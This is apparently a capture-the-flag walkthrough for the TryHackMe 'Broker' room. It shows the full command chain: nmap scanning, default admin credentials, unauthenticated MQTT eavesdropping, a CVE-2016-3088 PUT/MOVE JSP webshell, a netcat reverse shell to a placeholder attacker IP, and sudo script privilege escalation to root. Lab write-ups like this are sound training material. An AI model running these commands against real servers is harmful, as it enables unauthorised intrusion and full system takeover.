0xmrerror@terminal:~/writeups

Broker — MQTT Eavesdrop to Webshell

An exposed ActiveMQ/MQTT broker lets anyone subscribe to every sensor on the network — then a webshell upgrade path to root.

MediumTryHackMeWeb · 15 min readmqttactivemqwebshelliottryhackme

Broker — MQTT Eavesdrop to Root

An ActiveMQ server with two exposed services: an MQTT broker that lets anyone subscribe, and a management console with a classic put-shell CVE. Paul and Max thought they were being sneaky. Goal: flag.txt + root.txt.

1 · Enumeration

# The hint says the action is on high ports
nmap -sC -sV -p 1001-9999 broker.thm

PORT    STATE SERVICE
1883/tcp open  mqtt
8161/tcp open  http   Jetty 9 (Apache ActiveMQ 5.9.0)

2 · ActiveMQ Console

Port 8161 hosts an Apache ActiveMQ dashboard. The default admin:admin works. The Topics tab lists a secret_chat topic — that has to be where the "secret" messages flow.

3 · Eavesdropping on MQTT

The MQTT broker needs no credentials, so we subscribe to the topic with the Mosquitto client and read the conversation.

mosquitto_sub -h broker.thm -t 'secret_chat/#' -p 1883 -V mqttv31
# > Paul and Max chat about... the game "Hacknet"

4 · CVE-2016-3088 — PUT/MOVE Webshell

ActiveMQ's /fileserver accepts an HTTP PUT upload but won't execute what's stored there. So we upload a JSP webshell and MOVE it into /admin, which does execute JSP. First leak the absolute path via the %20 trick.

# Upload cmd.jsp to /fileserver
curl -u admin:admin -X PUT "http://broker.thm:8161/fileserver/cmd.jsp"   --data @cmd.jsp -H 'Content-Type: text/plain'

# Leak the absolute path
curl -u admin:admin -X GET "http://broker.thm:8161/fileserver/test/%20/%20"
# > /opt/apache-activemq-5.9.0/webapps/fileserver/

# MOVE the shell into the executable /admin directory
curl -u admin:admin -X MOVE "http://broker.thm:8161/fileserver/cmd.jsp"   -H "Destination: http://broker.thm:8161/admin/cmd.jsp"

# RCE
http://broker.thm:8161/admin/cmd.jsp?cmd=id

5 · Reverse Shell

Long bash one-liners often get mangled by URL encoding here. Use nc -e or host a msfvenom-generated ELF and fetch it with curl. Then upgrade the TTY.

# Attacker listener
nc -lvnp 4444

# Payload (URL-encode spaces) through the webshell
nc -e /bin/bash ATTACK_IP 4444

# Upgrade TTY, then read the user flag
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/activemq/flag.txt
# THM{...}

6 · Privesc — Writable Sudo Script

sudo -l shows activemq can run subscribe.py as root with no password — and the file is owned (and writable) by activemq. Append code that drops a shell.

sudo -l
(root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
ls -l /opt/apache-activemq-5.9.0/subscribe.py
-rw-rw-r-- 1 activemq activemq 768 subscribe.py

echo 'import os; os.system("/bin/bash")' >> /opt/apache-activemq-5.9.0/subscribe.py

sudo -u root /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
# > root shell
root@broker:~# cat /root/root.txt
# THM{...}

7 · What Made It Work

Step 4 is the one to remember. PUT gives you a write primitive into a directory that won't execute, and MOVE gives you the rename into a directory that will. Neither half does anything useful, and CVE-2016-3088 is what you get when both are reachable without authentication.